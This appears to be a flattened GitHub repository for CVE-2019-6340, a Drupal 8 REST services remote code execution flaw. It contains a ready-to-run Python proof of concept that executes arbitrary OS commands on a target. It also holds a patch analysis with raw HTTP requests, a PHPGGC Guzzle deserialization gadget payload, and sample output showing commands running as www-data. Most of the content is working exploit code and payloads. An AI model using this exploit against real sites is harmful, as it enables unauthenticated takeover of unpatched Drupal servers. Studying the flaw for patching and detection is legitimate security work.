├── README.md ├── cve-2019-6340.py ├── exploit.txt └── payloads.txt /README.md: -------------------------------------------------------------------------------- 1 | # Drupal-SA-CORE-2019-003 CVE-2019-6340 2 | Drupal SA-CORE-2019-003 CVE-2019-6340 3 | 4 | CVE-2019-6340.md 5 | https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg 6 | 7 | https://paper.seebug.org/821/ 8 | 9 | 10 | https://www.youtube.com/watch?v=QtLDDN0Duko 11 | 12 | [linkname](https://www.youtube.com/watch?v=QtLDDN0Duko) 13 | 14 | 15 | 16 | 17 | https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large 18 | 19 | ![marty-mcfly](https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large) 20 | 21 | 22 | CVE-2019-6340 isn’t a default configuration, you have to manually enable Restful web services: 23 | 24 | 25 | 26 | 27 | ![marty-mcfly](https://pbs.twimg.com/media/D0EShBfWwAEXxK0.jpg:large) 28 | 29 | 30 | Command 31 | $ curl -k -v -H 'Content-Type: application/json' -d @./drupalrce.json 'https:///node/?_format=hal_json' 32 | 33 | file drupalrce.json 34 | 35 | 36 | ![marty-mcfly](https://pbs.twimg.com/media/D0MAcBJXQAADbCw.jpg:large) 37 | -------------------------------------------------------------------------------- /cve-2019-6340.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC 4 | # 2019 @leonjza 5 | 6 | # Technical details for this exploit is available at: 7 | # https://www.drupal.org/sa-core-2019-003 8 | # https://www.ambionics.io/blog/drupal8-rce 9 | # https://twitter.com/jcran/status/1099206271901798400 10 | 11 | # Sample usage: 12 | # 13 | # $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf" 14 | # CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC 15 | # by @leonjza 16 | # 17 | # References: 18 | # https://www.drupal.org/sa-core-2019-003 19 | # https://www.ambionics.io/blog/drupal8-rce 20 | # 21 | # [warning] Caching heavily affects reliability of this exploit. 22 | # Nodes are used as they are discovered, but once they are done, 23 | # you will have to wait for cache expiry. 24 | # 25 | # Targetting http://127.0.0.1/... 26 | # [+] Finding a usable node id... 27 | # [x] Node enum found a cached article at: 2, skipping 28 | # [x] Node enum found a cached article at: 3, skipping 29 | # [+] Using node_id 4 30 | # [+] Target appears to be vulnerable! 31 | # 32 | # USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 33 | # root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh 34 | # root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND 35 | # www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND 36 | # www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND 37 | # www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND 38 | # www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND 39 | # www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND 40 | # www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND 41 | # www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND 42 | # www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND 43 | # www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo 44 | 45 | import sys 46 | from urllib.parse import urlparse, urljoin 47 | 48 | import requests 49 | 50 | 51 | def build_url(*args) -> str: 52 | """ 53 | Builds a URL 54 | """ 55 | 56 | f = '' 57 | for x in args: 58 | f = urljoin(f, x) 59 | 60 | return f 61 | 62 | 63 | def uri_valid(x: str) -> bool: 64 | """ 65 | https://stackoverflow.com/a/38020041 66 | """ 67 | 68 | result = urlparse(x) 69 | return all([result.scheme, result.netloc, result.path]) 70 | 71 | 72 | def check_drupal_cache(r: requests.Response) -> bool: 73 | """ 74 | Check if a response had the cache header. 75 | """ 76 | 77 | if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT': 78 | return True 79 | 80 | return False 81 | 82 | 83 | def find_article(base: str, f: int = 1, l: int = 100): 84 | """ 85 | Find a target article that does not 404 and is not cached 86 | """ 87 | 88 | while f < l: 89 | u = build_url(base, '/node/', str(f)) 90 | r = requests.get(u) 91 | 92 | if check_drupal_cache(r): 93 | print(f'[x] Node enum found a cached article at: {f}, skipping') 94 | f += 1 95 | continue 96 | 97 | # found an article? 98 | if r.status_code == 200: 99 | return f 100 | f += 1 101 | 102 | 103 | def check(base: str, node_id: int) -> bool: 104 | """ 105 | Check if the target is vulnerable. 106 | """ 107 | 108 | payload = { 109 | "_links": { 110 | "type": { 111 | "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}" 112 | } 113 | }, 114 | "type": { 115 | "target_id": "article" 116 | }, 117 | "title": { 118 | "value": "My Article" 119 | }, 120 | "body": { 121 | "value": "" 122 | } 123 | } 124 | 125 | u = build_url(base, '/node/', str(node_id)) 126 | r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) 127 | 128 | if check_drupal_cache(r): 129 | print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring') 130 | return False 131 | 132 | if 'INVALID_VALUE does not correspond to an entity on this site' in r.text: 133 | return True 134 | 135 | return False 136 | 137 | 138 | def exploit(base: str, node_id: int, cmd: str): 139 | """ 140 | Exploit using the Guzzle Gadgets 141 | """ 142 | 143 | # pad a easy search replace output: 144 | cmd = 'echo ---- & ' + cmd 145 | payload = { 146 | "link": [ 147 | { 148 | "value": "link", 149 | "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" 150 | "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" 151 | "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" 152 | "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" 153 | "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" 154 | "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" 155 | "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" 156 | "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" 157 | "".replace('|size|', str(len(cmd))).replace('|command|', cmd) 158 | } 159 | ], 160 | "_links": { 161 | "type": { 162 | "href": f"{urljoin(base, '/rest/type/shortcut/default')}" 163 | } 164 | } 165 | } 166 | 167 | u = build_url(base, '/node/', str(node_id)) 168 | r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) 169 | 170 | if check_drupal_cache(r): 171 | print(f'Exploiting {node_id} returned cache HIT, may have failed') 172 | 173 | if '----' not in r.text: 174 | print('[warn] Command execution _may_ have failed') 175 | 176 | print(r.text.split('----')[1]) 177 | 178 | 179 | def main(base: str, cmd: str): 180 | """ 181 | Execute an OS command! 182 | """ 183 | 184 | print('[+] Finding a usable node id...') 185 | article = find_article(base) 186 | if not article: 187 | print('[!] Unable to find a node ID to reference. Check manually?') 188 | return 189 | 190 | print(f'[+] Using node_id {article}') 191 | 192 | vuln = check(base, article) 193 | if not vuln: 194 | print('[!] Target does not appear to be vulnerable.') 195 | print('[!] It may also simply be a caching issue, so maybe just try again later.') 196 | return 197 | print(f'[+] Target appears to be vulnerable!') 198 | 199 | exploit(base, article, cmd) 200 | 201 | 202 | if __name__ == '__main__': 203 | 204 | print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC') 205 | print(' by @leonjza\n') 206 | print('References:\n' 207 | ' https://www.drupal.org/sa-core-2019-003\n' 208 | ' https://www.ambionics.io/blog/drupal8-rce\n') 209 | print('[warning] Caching heavily affects reliability of this exploit.\n' 210 | 'Nodes are used as they are discovered, but once they are done,\n' 211 | 'you will have to wait for cache expiry.\n') 212 | 213 | if len(sys.argv) <= 2: 214 | print(f'Usage: {sys.argv[0]} ') 215 | print(f' Example: {sys.argv[0]} http://127.0.0.1/ id') 216 | 217 | target = sys.argv[1] 218 | command = sys.argv[2] 219 | if not uri_valid(target): 220 | print(f'Target {target} is not a valid URL') 221 | sys.exit(1) 222 | 223 | print(f'Targetting {target}...') 224 | main(target, command) 225 | -------------------------------------------------------------------------------- /exploit.txt: -------------------------------------------------------------------------------- 1 | Analyzing the patch 2 | By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);. 3 | 4 | As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link. 5 | 6 | Triggering the unserialize() 7 | Having all these elements in mind, triggering an unserialize is fairly easy: 8 | 9 | GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 10 | Host: 192.168.1.25 11 | Content-Type: application/hal+json 12 | Content-Length: 642 13 | 14 | { 15 | "link": [ 16 | { 17 | "value": "link", 18 | "options": "" 19 | } 20 | ], 21 | "_links": { 22 | "type": { 23 | "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" 24 | } 25 | } 26 | } 27 | Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC: 28 | 29 | $ ./phpggc guzzle/rce1 system id --json 30 | "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" 31 | We can now send the payload via GET: 32 | 33 | GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 34 | Host: 192.168.1.25 35 | Content-Type: application/hal+json 36 | Content-Length: 642 37 | 38 | { 39 | "link": [ 40 | { 41 | "value": "link", 42 | "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" 43 | } 44 | ], 45 | "_links": { 46 | "type": { 47 | "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" 48 | } 49 | } 50 | } 51 | To which Drupal responds: 52 | 53 | HTTP/1.1 200 OK 54 | Link: <...> 55 | X-Generator: Drupal 8 (https://www.drupal.org) 56 | X-Drupal-Cache: MISS 57 | Connection: close 58 | Content-Type: application/hal+json 59 | Content-Length: 9012 60 | 61 | {...}uid=33(www-data) gid=33(www-data) groups=33(www-data) 62 | Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID. 63 | -------------------------------------------------------------------------------- /payloads.txt: -------------------------------------------------------------------------------- 1 | { 2 | "link": [ 3 | { 4 | "value": "link", 5 | "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" 6 | } 7 | ], 8 | "_links": { 9 | "type": { 10 | "href": "http:///rest/type/shortcut/default" 11 | } 12 | } 13 | } 14 | --------------------------------------------------------------------------------